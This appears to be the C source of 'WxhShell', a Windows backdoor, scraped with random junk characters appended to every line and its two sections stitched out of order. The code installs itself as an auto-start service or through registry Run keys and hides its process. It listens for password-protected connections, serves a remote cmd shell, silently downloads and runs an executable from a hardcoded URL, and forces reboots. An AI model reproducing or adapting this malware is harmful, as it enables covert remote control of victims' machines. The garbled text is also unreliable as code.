    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YT+b{   
    else { a_P|KRl  
    closesocket(wsh); >"!ScYn  
    ExitThread(0); N`efLOMl]  
    } @!dIa1Q"  
    break; * rlV E  
    } =9ff9 83  
  // 获取shell 4xg)e` *U  
  case 's': {  "LB MYZ  
    CmdShell(wsh); pTq DPU  
    closesocket(wsh); !Ea >tQ|  
    ExitThread(0); ^4 $4x  
    break; i \NV<I  
  } 1xS+r)_n@  
  // 退出 =AzPAN#e  
  case 'x': { 3A`]Rk   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =U*D.p*%f  
    CloseIt(wsh); i#b/.oa  
    break; a-|pSe*rx  
    } k/{WlLN  
  // 离开 \7b, Mz!  
  case 'q': { gC2}?nq*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3E;@.jD  
    closesocket(wsh); KHZ[drb6$  
    WSACleanup(); d]s^?=gM  
    exit(1); $|g1 _;(G  
    break; ~) _Nh  
        } lj}3TbM  
  } b/a\{  
  } /lUfxc4  
;dUKFdKH}  
  // 提示信息 nktGO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZAfuW^r  
} FulFEnSV  
  } A{q%sp:3~  
%:`v.AG  
  return; C5V}L  
} *]U`]!Esp  
N\__a~'0p  
// shell模块句柄 %r1#G.2YW  
int CmdShell(SOCKET sock) &,G2<2_b  
{ ZH\t0YhrVe  
STARTUPINFO si; (4 ZeyG@  
ZeroMemory(&si,sizeof(si)); _[&V9 Jt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N,qo/At}R[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }_KzF~  
PROCESS_INFORMATION ProcessInfo; m0;j1-t  
char cmdline[]="cmd"; Lp:VU-S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xS_;p9{E  
  return 0; ' F.^ 8/>  
} ;=0mL,  
W;I{4ed6  
// 自身启动模式 gNP1UH4m  
int StartFromService(void) Z(|$[GZP[  
{ 1+$F= M~  
typedef struct k"cMAu.  
{ I[|Y 2i  
  DWORD ExitStatus; btEyvqs~X  
  DWORD PebBaseAddress; D^O[_/i&  
  DWORD AffinityMask; {7m2vv?Z  
  DWORD BasePriority; h#4n  
  ULONG UniqueProcessId; {rMf/RAE  
  ULONG InheritedFromUniqueProcessId; 36OQHv;&  
}   PROCESS_BASIC_INFORMATION; SeXgBbGAne  
9Zl4NV&B  
PROCNTQSIP NtQueryInformationProcess; ")MHP~ ?  
kbb!2`F!%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gq+0t  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  >I4BysR  
ho{%7\  
  HANDLE             hProcess; neM)(` gp  
  PROCESS_BASIC_INFORMATION pbi; G 0pq'7B  
:Y/aT[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); n(Nu  
  if(NULL == hInst ) return 0; m   uO.  
{2:baoG-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?aTH<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nD/B :0'  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c\o_U9=n  
3_  J'+  
  if (!NtQueryInformationProcess) return 0; p35)K5V  
_@>*]g  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j}.gK6Yq*  
  if(!hProcess) return 0; Uzvd*>mv  
YQ:$m5ai  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; j;}-x1R  
s:6K'*  
  CloseHandle(hProcess); jGo%Aase  
ZVH 9je  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )x\%*ewY  
if(hProcess==NULL) return 0; Xk|a%%O*H  
i/_rz.c~3  
HMODULE hMod; Wtu-g**KN  
char procName[255]; 9{fP.ifdv7  
unsigned long cbNeeded; TW& s c9  
#\X)|p2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }bw^p.ci  
-S]ercar  
  CloseHandle(hProcess); k0j4P^d  
$=\=80u/  
if(strstr(procName,"services")) return 1; // 以服务启动 $rj:K)P  
2i6=g<   
  return 0; // 注册表启动 -'miM ~kG[  
} {'zS8  
 )XonFI  
// 主模块 r&R~a9+)  
int StartWxhshell(LPSTR lpCmdLine) )R `d x  
{ UUWRC1EtI  
  SOCKET wsl; >b\|%=(x!*  
BOOL val=TRUE; v0) %S  
  int port=0; E!}'cxb^  
  struct sockaddr_in door; -<x%  
o0No"8DnjH  
  if(wscfg.ws_autoins) Install(); l,Q`;v5|  
31^/9lb  
port=atoi(lpCmdLine); fIpS P@$<  
+arh/pd_I  
if(port<=0) port=wscfg.ws_port;  j7_,V?5z  
r+%3Y:dZE  
  WSADATA data;  =AaF$R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 66>X$nx(z  
Nt\07*`qCr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -]KgLgJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); m $[:J  
  door.sin_family = AF_INET; ? 3DFm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5u9lKno  
  door.sin_port = htons(port); ,Zie2I?q  
*j83E[(]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :1f,%Z$,q  
closesocket(wsl); 4IZAJqw(*  
return 1; E^n!h06~G  
} @dK_w 'W  
lW-G]V  
  if(listen(wsl,2) == INVALID_SOCKET) { TVvE0y(9  
closesocket(wsl); 'g<{l&u  
return 1; [r 7Hcb  
} n,2p)#?  
  Wxhshell(wsl); :fRta[  
  WSACleanup(); nl2Lqu1  
t5l<Lm)  
return 0; DHn\ =M  
w;$elXP|  
} dAG@'A\f  
iDDq<a.A  
// 以NT服务方式启动 >j]Gz-wC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) tC1'IE-h  
{ %Jl6e}!  
DWORD   status = 0; }L Q%%  
  DWORD   specificError = 0xfffffff; mgjcA5z  
gF9GU5T:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @+~URIG)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [%LGiCU]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `@\FpV[|P  
  serviceStatus.dwWin32ExitCode     = 0; ?-&k?I  
  serviceStatus.dwServiceSpecificExitCode = 0; ?7CdJgJp  
  serviceStatus.dwCheckPoint       = 0; Ye|gW=FUR  
  serviceStatus.dwWaitHint       = 0; 0?FJ ~pu  
G@D8 [  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (oiQ5s^f  
  if (hServiceStatusHandle==0) return; '#A_KHD  
9BOn8p;yz  
status = GetLastError(); }@$CS5w  
  if (status!=NO_ERROR) ]c_lNHssmq  
{ .yTo)t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; KpG'E  
    serviceStatus.dwCheckPoint       = 0; L1lDDS#  
    serviceStatus.dwWaitHint       = 0; .I{u[ "  
    serviceStatus.dwWin32ExitCode     = status; K ..Pn 17t  
    serviceStatus.dwServiceSpecificExitCode = specificError; l8M}82_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dc emF  
    return; DfkGNBY  
  } @CR<&^s5V  
#l) o<Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wk'(g_DP  
  serviceStatus.dwCheckPoint       = 0; D)L~vA/8b  
  serviceStatus.dwWaitHint       = 0; jbg9 EtQ!*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6U|"d[  
} c;29GHs2  
#WDpiV7B  
// 处理NT服务事件,比如:启动、停止 ;gaTSYVe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -1d$w`  
{ Ia9!ucN7DA  
switch(fdwControl) ?o]NV  
{ Wvd-be  
case SERVICE_CONTROL_STOP: &2y9J2aA  
  serviceStatus.dwWin32ExitCode = 0; OI/]Y7D[Oq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; IO?a.L:6U  
  serviceStatus.dwCheckPoint   = 0; g~|x^d^;|  
  serviceStatus.dwWaitHint     = 0; =<M>fJ)  
  { o}wRgG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bjj F{T  
  } U b\&k[F  
  return; +=L+35M  
case SERVICE_CONTROL_PAUSE: 01aw+o  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; RM%Z"pc Y6  
  break; tg%<@U`7=  
case SERVICE_CONTROL_CONTINUE: | Cfo(]>G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |j8#n`'  
  break; uRuu!{$  
case SERVICE_CONTROL_INTERROGATE: UK8k`;^KI  
  break; TFbF^Kd#:d  
}; C]zgVbu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uuUj IZCtz  
} i7\>uni  
Sxy3cv53  
// 标准应用程序主函数 (/> yfL]J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CpgaQG^  
{ Ym]rG 4  
!"08TCc<  
// 获取操作系统版本 guy!/zQ>A  
OsIsNt=GetOsVer(); @[/!e`]+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vhm^<I-d  
sdewz(xskj  
  // 从命令行安装 JO87rG  
  if(strpbrk(lpCmdLine,"iI")) Install(); s.Mrd~(Drz  
03 v\v9<T  
  // 下载执行文件 La^Zr,T!  
if(wscfg.ws_downexe) { f|!@H><  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {qry2ZT5  
  WinExec(wscfg.ws_filenam,SW_HIDE); Jju?v2y`  
} 5(\[Gke  
lm'.G99{  
if(!OsIsNt) { ]?jmRk^ .  
// 如果时win9x,隐藏进程并且设置为注册表启动 Gv(n2r  
HideProc(); <(qdxdUp  
StartWxhshell(lpCmdLine); e [F33%  
} Uzn  
else I= z+`o8  
  if(StartFromService()) .lc gM  
  // 以服务方式启动 jd+HIR  
  StartServiceCtrlDispatcher(DispatchTable); !<-+}X+o8$  
else x||b :2  
  // 普通方式启动 Xn<|6u  
  StartWxhshell(lpCmdLine); D{t0OvQag  
h!hv{c  
return 0; +hT9V1'-D  
} 5'0kf7  
38JU-aq  
@ 6b;sv1W  
t6+>Zr  
=========================================== ZQJh5.B  
jm |zn  
wi:d!,P`e  
><@& &u.  
-g vS 3`lX  
7aN oqS+  
" Au?(_*/0  
Nk>6:Ho{G  
#include <stdio.h> *\wf(o>Q  
#include <string.h> Qc:Sf46O  
#include <windows.h> ]0p*EB=C*  
#include <winsock2.h> D_cd l^  
#include <winsvc.h> DZ;2aH  
#include <urlmon.h> <gr2k8m6$  
E!>l@ ki  
#pragma comment (lib, "Ws2_32.lib") O$peCv   
#pragma comment (lib, "urlmon.lib") z:W1(/W~  
YWa9|&m1  
#define MAX_USER   100 // 最大客户端连接数 o Bp.|8-  
#define BUF_SOCK   200 // sock buffer }Qvoms<k  
#define KEY_BUFF   255 // 输入 buffer E{|n\|  
qv+}|+aL:  
#define REBOOT     0   // 重启 fm,:8%  
#define SHUTDOWN   1   // 关机 #*K!@X  
1^=[k  
#define DEF_PORT   5000 // 监听端口 %O&C\{J  
p$%g$K  
#define REG_LEN     16   // 注册表键长度  PYYO-Twg  
#define SVC_LEN     80   // NT服务名长度 _:;j)J0  
d`Em) 3v  
// 从dll定义API b(gcnSzM2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); m-!z(vcn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |teDe6 \m  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k+&1?]   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vR\[IV?  
_b 8XF&O  
// wxhshell配置信息 Hz<)a(r!J  
struct WSCFG { _N`pwxpsb  
  int ws_port;         // 监听端口 =E%<"FB  
  char ws_passstr[REG_LEN]; // 口令 =R\-mov$  
  int ws_autoins;       // 安装标记, 1=yes 0=no EC| b7  
  char ws_regname[REG_LEN]; // 注册表键名 Z})n%l8J]p  
  char ws_svcname[REG_LEN]; // 服务名 \\~4$Ai[  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t]%! vXo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kOuQR$9s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^l/$ 13=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no } u7&SU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" q&wXs/$a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \it<]BN  
h?:Y\DlU'  
}; pNzGpCk  
gb0ZGnI  
// default Wxhshell configuration 0CO6-&F9n  
struct WSCFG wscfg={DEF_PORT, TS<uBX  
    "xuhuanlingzhe", <ByDT$E_  
    1, IN9o$CZ:  
    "Wxhshell", MRHkQE+K@8  
    "Wxhshell", P1l@K2r  
            "WxhShell Service", #[#dc]D  
    "Wrsky Windows CmdShell Service", KBFAV&  
    "Please Input Your Password: ", DWH)<\?  
  1, Uyyw'Ni  
  "http://www.wrsky.com/wxhshell.exe", k||DcwO  
  "Wxhshell.exe" +#<"o#gZ  
    }; RsDI7v  
#8d$%F))  
// 消息定义模块 p{Gg,.f!HM  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,/>~J]:\;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b511qc"i>M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S.OGLLprp  
char *msg_ws_ext="\n\rExit."; *ha9Vq@X  
char *msg_ws_end="\n\rQuit."; Mhw\i&*U  
char *msg_ws_boot="\n\rReboot..."; 8Lpy`He  
char *msg_ws_poff="\n\rShutdown..."; Zb#  
char *msg_ws_down="\n\rSave to "; \:?H_^^ d  
G1'w50Yu  
char *msg_ws_err="\n\rErr!"; a[8_ O-   
char *msg_ws_ok="\n\rOK!"; SVo`p;2r  
, 0rC_)&B  
char ExeFile[MAX_PATH]; :+,qvu!M7  
int nUser = 0; }a_: oR  
HANDLE handles[MAX_USER]; m"vV=6m|\  
int OsIsNt; [ @/[#p  
Va/ p   
SERVICE_STATUS       serviceStatus; .9g\WH#qD|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z [5HI;  
n{Mj<\kL  
// 函数声明 (Qq$ql27  
int Install(void); Q\:'gx8`  
int Uninstall(void); {w^flizY  
int DownloadFile(char *sURL, SOCKET wsh); V*'9yk"  
int Boot(int flag); E|Grk  
void HideProc(void); es(vWf'  
int GetOsVer(void); EX&y !  
int Wxhshell(SOCKET wsl); 8YN+ \  
void TalkWithClient(void *cs); cY>;(x@  
int CmdShell(SOCKET sock); X6<HNLgra  
int StartFromService(void); ;o3 .<"  
int StartWxhshell(LPSTR lpCmdLine); ?t} [Wi}7  
]yVB66l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r/O(EW#=8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "=f*Lk@[  
6<t\KMd  
// 数据结构和表定义 73.o{V  
SERVICE_TABLE_ENTRY DispatchTable[] = 6v1#i  
{ %9NGVC  
{wscfg.ws_svcname, NTServiceMain}, g}qK$>EPS  
{NULL, NULL} vFCp= 8h  
}; I"JT3[*s  
ESASsRzk  
// 自我安装 $@&bK2@.(  
int Install(void) }}(~'  
{ \^-3)*r  
  char svExeFile[MAX_PATH]; ?\#4`9  
  HKEY key; 4'rk3nT8  
  strcpy(svExeFile,ExeFile); Y!*,G]7  
xG}eiUbM`  
// 如果是win9x系统,修改注册表设为自启动 +ic~Sar  
if(!OsIsNt) { up2%QbN(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @,aL'2G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $~~=SOd0  
  RegCloseKey(key); ]aakEU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -G Kelz?h>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LbYI{|_Js  
  RegCloseKey(key); ?n@PZL= ]  
  return 0; (%fGS.TR  
    } vP~F+z @g  
  } " ^eq5?L  
} Q#g s)2  
else { ci^-0l_O  
4GHIRH C%[  
// 如果是NT以上系统,安装为系统服务 3P\I;xM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ! 6 $>|  
if (schSCManager!=0) nf G:4k,  
{ 9wb$_j]F`#  
  SC_HANDLE schService = CreateService @g=A\2  
  ( ^3yjE/Wi"  
  schSCManager, n'h )(^  
  wscfg.ws_svcname, w\2[dd  
  wscfg.ws_svcdisp, r 2H'r ,N  
  SERVICE_ALL_ACCESS, rP\ 7C+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UZAWh R  
  SERVICE_AUTO_START, Dk"M8_-_  
  SERVICE_ERROR_NORMAL, 1[Mr2@  
  svExeFile, s{: Mu~v  
  NULL, g*tLqV  
  NULL, _fyw  
  NULL, 25 ~$qY_  
  NULL, sw@2 ?+  
  NULL .N+xpxdG,  
  ); IkZ_N#m  
  if (schService!=0)  #b"IX`5  
  { YJ6vyG>%C  
  CloseServiceHandle(schService); ' R@<4Ib|  
  CloseServiceHandle(schSCManager); */+s^{W7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Qom@-A  
  strcat(svExeFile,wscfg.ws_svcname); /1>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { q,(&2./  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {Jy%h8n*  
  RegCloseKey(key); \rN_CBM  
  return 0; Sd\@Q% }o\  
    } 1aDDl-8,  
  } yR$_$N+E  
  CloseServiceHandle(schSCManager); ( gFA? aD<  
} }mGD`5[`  
} aKUr":z  
|zT0g]WH  
return 1; i-=ff  
} -$kJERvy  
h9-Ky@X`  
// 自我卸载 y^Jv?`jw  
int Uninstall(void) j bGH3 L  
{ RQ'c~D)X  
  HKEY key; dB,#`tc=,  
w:LCm `d  
if(!OsIsNt) { 4>Y\2O?**  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ).boe& .  
  RegDeleteValue(key,wscfg.ws_regname); v}Nx*%  
  RegCloseKey(key); $^XPk#$m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $P@cS1sB  
  RegDeleteValue(key,wscfg.ws_regname); } 2.}fHb2  
  RegCloseKey(key); ,Df36-74v5  
  return 0; F@lpjW  
  } UKBMGzu2:  
} 1G;Ns] u  
} MGz> ,c^wW  
else { Jqj6L993e  
&;skB.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^0 lPv!2  
if (schSCManager!=0) 4|L@oTzx  
{ dtBV0$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3# (5Kco  
  if (schService!=0) T> 'Vaxo  
  { Iz8 ^? >X  
  if(DeleteService(schService)!=0) { !U!E_D.O  
  CloseServiceHandle(schService); 2"'8x?.V  
  CloseServiceHandle(schSCManager); Cr%r<*s  
  return 0; y~=hM   
  } i+Dgw  
  CloseServiceHandle(schService); cs M|VNE>  
  } S}f<@-16P  
  CloseServiceHandle(schSCManager); )89jP088V  
} 11T\2&Q  
} A(p  
.Topg.7W  
return 1; 2ML6Lkk  
} !dH&IEP~  
~ 7Nyi dV;  
// 从指定url下载文件 v`w?QIB]  
int DownloadFile(char *sURL, SOCKET wsh) L _y|l5  
{ NETC{:j  
  HRESULT hr; c):*R ]=  
char seps[]= "/"; `6$b1qv,  
char *token; =k7\g /  
char *file; mX?{2[  
char myURL[MAX_PATH]; zn!  
char myFILE[MAX_PATH]; * _l o;  
wT= hO+  
strcpy(myURL,sURL); RT"2Us]*  
  token=strtok(myURL,seps); Z^6(&Rh  
  while(token!=NULL) WG luY>C;  
  { h}>/Z3*  
    file=token; mVAm^JK  
  token=strtok(NULL,seps); I=y j  
  } 51ebE`  
7B!Qq/E?g  
GetCurrentDirectory(MAX_PATH,myFILE); gA1in  
strcat(myFILE, "\\"); $ ].k6,%{p  
strcat(myFILE, file); g Pj0H&,.  
  send(wsh,myFILE,strlen(myFILE),0); }a1Sfl@`3  
send(wsh,"...",3,0); e=UVsYNx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ]U1,NhZu  
  if(hr==S_OK) Sw@,<4S  
return 0; r{R7"  
else `$SEkYdt  
return 1; ]N"F?3J 8  
&N_c-@2O  
} -yQ\3wli`  
3@`H<tP'6o  
// 系统电源模块 akW3\(W}  
int Boot(int flag) 9r+O!kF(  
{ zHOE.V2Qo  
  HANDLE hToken; =&VXn{e  
  TOKEN_PRIVILEGES tkp; `h9)`*  
&f<1=2dm  
  if(OsIsNt) { _+ 04M)q0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B4:l*P'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jc.JX_/  
    tkp.PrivilegeCount = 1; H'GYJ ?U"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <h_P+ nz  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1uS-Tx  
if(flag==REBOOT) { *Z]WaDw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )uid!d  
  return 0; 51M^yG&M  
} s >VEuLY*  
else { V}|v!h[O8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1!(%<R  
  return 0; LJ(n?/z%  
} fEw=I7{Y  
  } ,#bb8+z&p  
  else { oCKM5AVWsv  
if(flag==REBOOT) { sjzXJ`s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jfY{z=*]u  
  return 0; lke~>0;  
} 2yQ}Lxr(  
else { 3K#mF7)a  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G?ugMl}  
  return 0; zd9]qo  
} &=-e`=qJ'6  
} /iUUM t'  
9fuJJ3L[  
return 1; !FB \h<6  
} pYfV~Q^3  
!b7'>b'J<1  
// win9x进程隐藏模块 R#/?AD&  
void HideProc(void) W ~Jzqp9g  
{ Jh\: X<q  
kPO6gdwq$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fQQsb 5=i  
  if ( hKernel != NULL ) X7H'Uk9:  
  { |0L=8~M(j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t$K@%yU2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AbF(MK=i  
    FreeLibrary(hKernel); z+k=|RMau  
  } p?V ?nCv1O  
%GX uuE}mX  
return; Q sg/ V]  
} l`b1%0y  
 dd<:#c9  
// 获取操作系统版本 |.(CIu~b  
int GetOsVer(void) PUP"ky^q"  
{ KZF0rW  
  OSVERSIONINFO winfo; J%\- 1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?GO SeV  
  GetVersionEx(&winfo); ym|NT0_0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )u8*zwq  
  return 1; X>Al:?`}N  
  else veUa|Bx.(v  
  return 0; KdT[*-  
} s.yq}Q  
46bl>yk9<  
// 客户端句柄模块 MzQ\rg_B7  
int Wxhshell(SOCKET wsl) F$Im9T6  
{ 4M}|/?<Br  
  SOCKET wsh; Vd+td;9(  
  struct sockaddr_in client; S]&8St  
  DWORD myID; +Edzjf~Tt  
>Mvka;T]  
  while(nUser<MAX_USER) YijMF/Uyb  
{ ;gDMl57PQ.  
  int nSize=sizeof(client); {p`mfEE (  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mC i[Ps  
  if(wsh==INVALID_SOCKET) return 1; $Y6I_U  
 nbI= r+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }I]j&\  
if(handles[nUser]==0) Rj[ hhSx 2  
  closesocket(wsh); -2F@~m|  
else  i"vawxm  
  nUser++; [X,A'Q  
  } bfgz1 `u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?Jt$a;  
8|O=/m^]  
  return 0; ^=EjadVQ  
} |G(1[RNu  
<i{K7}':  
// 关闭 socket lT.zNhz:d9  
void CloseIt(SOCKET wsh) kG/X"6pZ  
{ |6E .M1  
closesocket(wsh); bpCNho$  
nUser--; ^ [k0k(_  
ExitThread(0); b"``D ?  
} V vu(`9u]  
?O??cjiA@  
// 客户端请求句柄 gv#4#]  
void TalkWithClient(void *cs) ?"6Ov ]  
{ n`q2s'Pc  
n~tqO!q  
  SOCKET wsh=(SOCKET)cs; =SAV|  
  char pwd[SVC_LEN]; o(*F])d;  
  char cmd[KEY_BUFF]; ZK6Hvc0  
char chr[1]; P z ?m>>#  
int i,j; n@!wp/J,  
>3 l=*|9  
  while (nUser < MAX_USER) { J~KX|QY.S  
d?A}qA[(  
if(wscfg.ws_passstr) { _%y4q%#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G?`-]FMO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); fkjeR B  
  //ZeroMemory(pwd,KEY_BUFF); %,\=s.~1  
      i=0; m@jge)O&D  
  while(i<SVC_LEN) { )%mg(O8uL  
dC.bt|#Oz  
  // 设置超时 @w\I qr  
  fd_set FdRead; 5RF4]$zT  
  struct timeval TimeOut; ;I}'}  
  FD_ZERO(&FdRead); s~^}F+n  
  FD_SET(wsh,&FdRead); {$d<1y^  
  TimeOut.tv_sec=8; *6Q|}b[qcD  
  TimeOut.tv_usec=0; g # S0V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,zhJY ?sk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0*8TS7.3  
Fv8f+)k)Z~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DkDoA;m  
  pwd=chr[0]; p@~ic#X  
  if(chr[0]==0xd || chr[0]==0xa) { `zA#z />  
  pwd=0; +bA%  
  break; LlHa5]E@6  
  } F]EBD8/b  
  i++; =2Cj,[$  
    } wi_'iv  
GIyF81KR 3  
  // 如果是非法用户,关闭 socket ~g6 3qs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w_hHfZ9E  
} lk3=4|?zsE  
cA)[XpQ:+W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jQS 6J+F]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); );FS7R  
r)^vO+3u  
while(1) { z//VlB  
'n;OB4  
  ZeroMemory(cmd,KEY_BUFF); &@% $2O.3  
ea'&xs#GK  
      // 自动支持客户端 telnet标准   aNxAZMg  
  j=0; a5Y IUVCv  
  while(j<KEY_BUFF) { mN |r)4{`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b2,!g }I  
  cmd[j]=chr[0]; bD ^b  
  if(chr[0]==0xa || chr[0]==0xd) { 1vzb8.  
  cmd[j]=0; ZfrVjUB  
  break; \C,p WW  
  } ?e[lr>-  
  j++; }%7 NF*  
    } ]hos+;4p  
i|`dWOVb  
  // 下载文件 $+p?Y)h .  
  if(strstr(cmd,"http://")) { eI45PMP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); JN+_|`  
  if(DownloadFile(cmd,wsh)) VTy9_~q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w| `h[/,  
  else 1W7% 1FA  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %`Z+a.~U  
  } pRkP~ZISU  
  else { svxw^ 0~a  
V"c 6Kdtd  
    switch(cmd[0]) { RuII!}*  
  =UUU$hq2  
  // 帮助 O T.*pk+<)  
